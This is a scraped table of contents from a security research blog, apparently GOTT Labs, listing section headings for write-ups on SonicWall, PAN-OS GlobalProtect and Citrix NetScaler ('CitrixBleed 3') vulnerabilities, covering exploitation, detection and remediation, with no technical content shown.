Patch your systems. Check your logs. Hunt for threats. Don’t wait for the breach notification.

GOTT Labs

Tunnel Vision: Sonicwall Insecure Mobile Access

The Vulnerabilities

Timeline

Affected Versions and Patch Status

Proof of Concept Details

Exploitation Analysis

Stage 1: The wsproxy Bypass (CVE-2026-15409)

Stage 2: Landing on CouchDB

Stage 3: Root via Path Traversal (CVE-2026-15410)

Stage 4: Persistence and the Malware

Considerations and Limitations

Detection and Hunting

Key Log Sources

Additional Hunting Steps

Remediation and Workarounds

Closing Assessment

References

PAN-OS GlobalProtect Authentication Bypass

The Short Version

Post-Exploitation: Observed Attacker Activity

1. Internal Reconnaissance via Nmap

2. Active Directory Enumeration via Kerbrute

3. Lateral Movement and Execution via Impacket

A. psexec.py / smbexec.py (Remote Service Creation)

B. wmiexec.py (Semi-Interactive Shell via WMI)

Hunt Strategy: Correlating the Chain

Timeline and Abuse History

Impacted Versions and Patch Status

Proof-of-Concept Details

Exploitation Mechanics

The Authentication Override Feature

The Certificate Reuse Problem

The Cookie Structure

Post-Authentication VPN Access

Considerations and Limitations: What You Can and Cannot See

What the Logs Do and Do Not Capture

What Is Not Left Behind

The CVSS Mismatch Problem

Forensic Visibility After the Fact

Detection and Hunting

Primary Detection: GlobalProtect Authentication Logs

Checking If You Are Vulnerable Before Hunting

Remediation and Workarounds

Option 1: Patch (Preferred)

Option 2: Use a Dedicated Certificate for Authentication Override (Mitigation)

Option 3: Disable Authentication Override (Maximum Mitigation)

Post-Exploitation Response Checklist

Closing Assessment

References

CitrixBleed 3 The Franchise Nobody Asked For (CVE-2026-3055)

The Vulnerability

Timeline

Impacted Versions and Patch Status

Affected Systems

How to Check If You Are Affected

Important Notes

Proof of Concept Details

Vulnerability Check (from watchTowr)

Detection Artifact Generator

Technical Exploitation Analysis

The Architecture

NSC_TASS Cookie Structure

Heap Reuse and Why Production Environments Bleed More

Vulnerability Primitive 1: /saml/login Memory Overread

Vulnerability Primitive 2: /wsfed/passive?wctx Memory Overread

The Underlying Root Cause

Considerations and Limitations

What the Vulnerability Does and Does Not Do

Configuration Prerequisite

Forensic Considerations

Detection and Hunting

Network-Based Detection

WAF Rule Guidance

Detecting NSC_TASS Cookie Anomalies

Host-Based Detection (NetScaler Logs)

ns.log Review

Session Monitoring

Remediation and Workarounds

Primary Remediation: Patch

A. `psexec.py` / `smbexec.py` (Remote Service Creation)

B. `wmiexec.py` (Semi-Interactive Shell via WMI)